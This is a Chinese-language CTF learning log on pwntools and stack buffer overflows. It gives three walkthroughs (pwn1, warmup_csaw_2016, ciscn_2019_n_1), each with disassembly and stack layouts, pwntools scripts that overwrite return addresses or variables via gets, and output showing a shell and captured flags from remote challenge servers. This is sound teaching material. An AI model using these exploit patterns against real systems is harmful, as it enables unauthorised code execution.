1. 程式人生 > 其它 >PWN 學習日誌(1): pwntools簡單使用與棧溢位實踐

PWN 學習日誌(1): pwntools簡單使用與棧溢位實踐

常用的模組

模組 功能
asm 彙編與反彙編
dynelf 遠端符號洩漏
elf 對elf檔案進行操作
memleak 用於記憶體洩漏
shellcraft shellcode生成器
gdb 配合gdb除錯
utils 一些實用的小功能

結合CTF例題

題目1

下載附件pwn1,使用checksec檢查保護

$ checksec pwn1
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

沒有開啟保護機制

終端輸入objdump -d -M intel pwn1,反彙編後檢視main函式

0000000000401142 <main>:
  401142:       55                      push   rbp
  401143:       48 89 e5                mov    rbp,rsp
  401146:       48 83 ec 10             sub    rsp,0x10
  40114a:       48 8d 3d b3 0e 00 00    lea    rdi,[rip+0xeb3]        # 402004 <_IO_stdin_used+0x4>
  401151:       e8 da fe ff ff          call   401030 <puts@plt>
  401156:       48 8d 45 f1             lea    rax,[rbp-0xf]
  40115a:       48 89 c7                mov    rdi,rax
  40115d:       b8 00 00 00 00          mov    eax,0x0
  401162:       e8 e9 fe ff ff          call   401050 <gets@plt>
  401167:       48 8d 45 f1             lea    rax,[rbp-0xf]
  40116b:       48 89 c7                mov    rdi,rax
  40116e:       e8 bd fe ff ff          call   401030 <puts@plt>
  401173:       48 8d 3d 97 0e 00 00    lea    rdi,[rip+0xe97]        # 402011 <_IO_stdin_used+0x11>
  40117a:       e8 b1 fe ff ff          call   401030 <puts@plt>
  40117f:       b8 00 00 00 00          mov    eax,0x0
  401184:       c9                      leave  
  401185:       c3                      ret    

這段程式碼的開頭是形成棧幀,sub rsp,0x10是在棧中開闢了一段陣列,這個大小是15(0x10-1),call puts是呼叫puts函式,列印了一段字串。rdi暫存器中存放的是gets的引數,即剛開的陣列的首地址。gets向這個緩衝區陣列讀入資料但沒有長度的限制,於是構成了緩衝區溢位。

IDA 反彙編結果

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[15]; // [rsp+1h] [rbp-Fh] BYREF

  puts("please input");
  gets(s);
  puts(s);
  puts("ok,bye!!!");
  return 0;
}

檢視陣列s在棧中的位置,因為關閉了ASLR,所以棧的地址是固定的。

-000000000000000F s               db ?
-000000000000000E                 db ? ; undefined
-000000000000000D                 db ? ; undefined
-000000000000000C                 db ? ; undefined
-000000000000000B                 db ? ; undefined
-000000000000000A                 db ? ; undefined
-0000000000000009                 db ? ; undefined
-0000000000000008                 db ? ; undefined
-0000000000000007                 db ? ; undefined
-0000000000000006                 db ? ; undefined
-0000000000000005                 db ? ; undefined
-0000000000000004                 db ? ; undefined
-0000000000000003                 db ? ; undefined
-0000000000000002                 db ? ; undefined
-0000000000000001                 db ? ; undefined
+0000000000000000  s              db 8 dup(?)   // 
+0000000000000008  r              db 8 dup(?)   // 這裡是main函式返回地址
+0000000000000010
+0000000000000010 ; end of stack variables

與此同時,程式中提供了一個fun函式,可以藉助它來開啟一個互動shell

// 0x401186
int fun()
{
  return system("/bin/sh");
}

利用gets函式讀入輸入,用一段垃圾資料覆蓋到返回地址前,最後將fun函式的首地址覆蓋到main的返回地址,即可修改程式的執行流,轉移到fun函式程式碼段執行。

在本地嘗試

from pwn import *

context(os="Linux", arch="amd64")

p = process("./pwn1")            # 執行程式,開啟程序
p.recvuntil("please input")      # 接收字串,直到"please input"
fun_addr = 0x0000000000401186    # fun函式的地址
shellcode = "A" * (0x08 + 0x0f) + p64(fun_addr) # 垃圾資料+函式地址
p.sendline(shellcode)            # 傳送
p.interactive()                  # 互動

本地成功拿到了shell

$ python demo.py 
[+] Starting local process './pwn1': pid 13787
[*] Switching to interactive mode

AAAAAAAAAAAAAAAAAAAAAAA\x86\x11
ok,bye!!!
$ ls
demo.py               pwn1     pwn1.id1  pwn1.nam
peda-session-pwn1.txt  pwn1.id0  pwn1.id2  pwn1.til

題目2

下載附件 BUUCTF

$ checksec warmup_csaw_2016
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

使用IDA反彙編main函式

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}

函式的開頭開闢了兩個陣列,sprintf的作用是格式化字串,下一行輸出列印該字串。檢視該地址處的程式碼:

int sub_40060D()
{
  return system("cat flag.txt");
}

可以看到是執行了一個命令,檢視flag的檔案內容。

main函式末尾存在一個gets函式,沒有對讀入長度作限制,因此可利用緩衝區溢位漏洞。

-0000000000000040 var_40          db 64 dup(?)
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

如上是棧的分佈,計算要使用(0x08+0x40)個位元組的垃圾資料覆蓋到返回地址,最後將sub_40060D覆蓋到返回地址

from pwn import *

context(os="Linux", arch="amd64")
p = remote("node4.buuoj.cn",29242) # 遠端連線
p.recvuntil(">")

fun_addr = 0x40060d
shellcode = "A" * (0x08 + 0x40) + p64(fun_addr)
p.sendline(shellcode)
p.interactive()

執行程式碼

$ python demo.py 
[+] Opening connection to node4.buuoj.cn on port 29242: Done
[*] Switching to interactive mode
flag{fe388bc3-c5c0-4cb7-8bdf-e14af238ca89}

拿到flag

題目3

下載附件 BUUCTF

$ checksec ciscn_2019_n_1
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

無保護機制

使用IDA 反彙編main函式

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  func();
  return 0;
}

進入func函式

int func()
{
  char v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(v1);
  if ( v2 == 11.28125 )
    return system("cat /flag");
  else
    return puts("Its value should be 11.28125");
}

根據程式邏輯,若v2為11.28125則拿到flag

那麼可以通過gets函式的緩衝區溢位來修改v2的值

-0000000000000030 ; D/A/*   : change type (data/ascii/array)
-0000000000000030 ; N       : rename
-0000000000000030 ; U       : undefine
-0000000000000030 ; Use data definition commands to create local variables and function arguments.
-0000000000000030 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000030 ; Frame size: 30; Saved regs: 8; Purge: 0
-0000000000000030 ;
-0000000000000030
-0000000000000030 var_30          db 44 dup(?)
-0000000000000004 var_4           dd ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

v1的首地址在-0000000000000030,v2在-0000000000000004,先用(0x30-0x04 )位元組的資料覆蓋到v2地址之前,將v2地址處的資料覆蓋為11.28125即可,根據IEEE754規範,11.28125的16進位制的形式為0x41348000

from pwn import *

context(os="Linux", arch="amd64")
p = remote("node4.buuoj.cn",26379)
p.recvuntil("Let's guess the number.")

# 41 34 80 00
shellcode = "A" * (0x30 - 0x04) + p64(0x41348000)
p.sendline(shellcode)
p.interactive()

執行後拿到flag

$ python demo.py 
[+] Opening connection to node4.buuoj.cn on port 26379: Done
[*] Switching to interactive mode

flag{9fcc4f83-6ddc-4a81-b14d-c0aec78372d6

總結

process函式可以開啟一個本地的程序並且與其互動,引數是檔名。
send系列的函式可以傳送字元,sendline會在末尾加上換行。

interactive() : 在取得shell之後使用,直接進行互動,相當於回到shell的模式。

recv(numb=位元組大小, timeout=default) : 接收指定位元組數。

recvall() : 一直接收直到達到檔案EOF。

recvline(keepends=True) : 接收一行,keepends為是否保留行尾的\n。

recvuntil(delims, drop=False) : 一直讀到delims的pattern出現為止。

recvrepeat(timeout=default) : 持續接受直到EOF或timeout。

簡單的棧溢位題目中通常會有如gets這樣的危險函式,對輸入內容長度不加限制,從而導致溢位